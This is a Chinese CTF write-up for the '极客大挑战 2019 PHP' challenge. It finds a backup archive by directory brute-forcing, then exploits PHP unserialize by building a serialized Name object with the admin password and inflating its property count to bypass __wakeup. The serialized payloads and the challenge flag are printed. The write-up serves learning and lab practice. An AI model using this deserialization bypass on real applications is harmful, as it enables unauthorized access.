首页 > 编程语言 >[极客大挑战 2019]PHP 1

[极客大挑战 2019]PHP 1

时间:2024-11-08 18:41:27浏览次数:5  
标签:00Name% 极客 14 flag PHP 2019 序列化 源码

[极客大挑战 2019]PHP 1

打开文件发现提示信息“备份文件”,查看源码并未发现其他有效信息

image-20241106132748508

采用dirsearch爆破目录,找到www.zip文件

image-20241106134957125

解压zip,发现是源码泄露

image-20241106133239542

提交flag,发现不正确,看到index.php源码中有Get传参,然后反序列化函数unserialize(),判断为反序列化漏洞;

image-20241106133407703

查看class.php可知,只要username=admin并且password=100,就能输出flag

image-20241106134423198

于是构造反序列化payload

<?php
class Name{
    private $username = 'admin';
    private $password = '100';
}
$select = new Name();
$res=serialize(@$select);   
echo $res
?>

执行php方法序列化成字符串,Name前后需要添加%00

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

image-20241106135642585

作为select参数值,未能显示出flag

image-20241106140221922

这是因为成员属性数目大于实际数目2时才可绕过wakeup魔术方法,修改2为任意大于二的数字

O:4:"Name":666:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

image-20241106140350145

成功拿到flag

flag{2629c697-31da-4735-8e1f-978a34067a82}

tips.

unserialize();

方法解释:
从已存储的表示中创建 PHP 的值列化后的字符串。
若被反序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup()成员函数(如果存在的话);

标签:00Name%,极客,14,flag,PHP,2019,序列化,源码
From: https://www.cnblogs.com/tazmi/p/18535690

相关文章

  • [极客大挑战 2019]LoveSQL 1
    [极客大挑战2019]LoveSQL1代码审计,发现表单方式为get提交到check.php万能密码admin'or1=1#登录成功,这边我以为密码就是flag,结果并不是,结合题目信息,猜想这应该是根据账号密码的注入尝试闭合?username=admin'and1=1%23&password=d3c9cf30a12d1f13d4f778859fb16f73正......
  • vscode配置xdebug断点调试thinkphp
    vscode配置xdebug断点调试thinkphp其实和配置其他php框架的断点调试一样,步骤如下:下载xdebug,重命名为php_xdebug.dll并移动到php.ini目录;(不知道下载那个版本可以通过xdebug官网提供的在线查询工具查询。https://xdebug.org/wizard在安装的主机上执行php-i,将输入的结果粘贴到网......
  • 最新毕设-SpringBoot-求职推荐系统-55000(免费领项目)可做计算机毕业设计JAVA、PHP、爬
    摘 要当前社会竞争激烈,求职市场信息众多,但信息不对称、筛选困难的问题依然存在。因此,设计开发一款求职推荐系统是顺应时代发展的必然选择。该求职推荐系统利用Java编程语言,使用springboot技术框架,采取MySQL数据库实现系统的各项功能,具有便捷高效、安全友好的特点,促进求职招聘......
  • PHP与Vue.js结合,开发现代Web应用的前后端分离
    随着前端技术的迅猛发展,前后端分离已成为现代Web应用开发的重要趋势。在这个架构中,PHP作为后端语言,配合Vue.js这样的前端框架,可以有效提高开发效率和用户体验。PHP与Vue.js的结合,使得开发者能够专注于各自领域的专业技术,形成高效、灵活的开发模式。PHP作为一种成熟的后端开发语言......
  • PHP与Socket编程:如何构建高效的实时通讯系统
    PHP与Socket编程:如何构建高效的实时通讯系统在现代互联网应用中,实时通讯已成为一种常见的需求,无论是在线聊天、实时通知,还是多人在线游戏,实时通讯技术都起到了至关重要的作用。PHP作为一种流行的服务器端编程语言,虽然以其简洁易用而著称,但在传统的Web应用中,它并不直接支持高效的......
  • Microsoft Office 2019 (office全家桶)for Mac/Windows电脑安装包
    MicrosoftOffice2019forMac(Office全家桶)是一款功能全面且强大的办公软件套件,专为Mac用户设计。Mac苹果电脑下载:Office2019(含激活秘钥)Windows电脑下载:Office2019(含批量许可)    以下是其主要特点和优势:一、界面设计采用了Mac系统的设......
  • php毕业设计流浪动物领养系统宠物领养网站PHP+MySQL+HTML计算机毕业设计PHP源码获取ph
    一、功能介绍基于php+mysql+html前台:网站首页宠物推荐最新宠物新闻咨询宠物分类宠物资讯评论登录/注册加入购物车、领养、个人中心后台:各种增删改查系统设置分类管理宠物管理领养管理评价管理新闻资讯用户管理二、效果展示三、代码展示CREATE......
  • PHP与Apache、Nginx的性能对比与优化技巧
    PHP与Apache、Nginx的性能对比与优化技巧在现代web开发中,PHP作为一种常见的服务器端脚本语言,通常需要与Web服务器(如Apache和Nginx)配合使用。Apache与Nginx各自的架构特点和性能表现有很大的不同,因此在PHP应用的部署过程中,选择合适的Web服务器并对其进行优化至关重要。Apache与N......
  • PHP框架选择:如何根据项目需求选择最合适的框架PHP框架选择:如何根据项目需求选择最合适
    在开发PHP项目时,框架的选择至关重要。一个合适的PHP框架不仅能提高开发效率,还能增强代码的可维护性和可扩展性。如何根据项目需求选择合适的框架呢?以下是一些关键的考虑因素。项目的规模和复杂度是选择框架时重要的考量之一。如果是一个小型项目,可能不需要一个复杂的框架,像Slim或......
  • 【漏洞复现】灵当CRM multipleUpload.php 任意文件上传漏洞
    免责声明:        本文旨在提供有关特定漏洞的信息,以帮助用户了解潜在风险。发布此信息旨在促进网络安全意识和技术进步,并非出于恶意。读者应理解,利用本文提到的漏洞或进行相关测试可能违反法律或服务协议。未经授权访问系统、网络或应用程序可能导致法律责任或严......